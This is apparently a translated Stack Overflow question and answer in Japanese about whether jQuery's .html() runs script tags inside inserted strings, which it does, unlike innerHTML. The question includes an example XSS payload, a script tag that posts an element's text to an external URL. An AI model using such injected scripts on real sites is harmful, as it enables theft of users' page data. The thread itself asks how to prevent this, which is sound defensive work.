2

重複の可能性:
html() vs innerHTML jquery/javascript & XSS 攻撃

jQuery.html() は危険ですか?

$("#id").html("<span>"+ variable + "</span>");

上記の例のように、変数が次の値を持つ場合:

"<script> $.post("external_url.php", {sesitivedata= $("#someElement").text()}, function() {} ) </script>"

スクリプトは実行されますか? もしそうなら、変数に通常のhtmlタグを含めてスクリプトを含めないようにする方法はありますか?

編集:スクリプトタグを文字列に追加しました

4

1 に答える 1

4

はい、そのスクリプトが実行されます。

http://jsfiddle.net/9ybUJ/2/

.html()スクリプト要素を暗黙的に探し出し、それらを評価します。.innerHTMLこれは、html 内でスクリプトを実行しないのとは反対です。

于 2012-08-17T16:55:20.643 に答える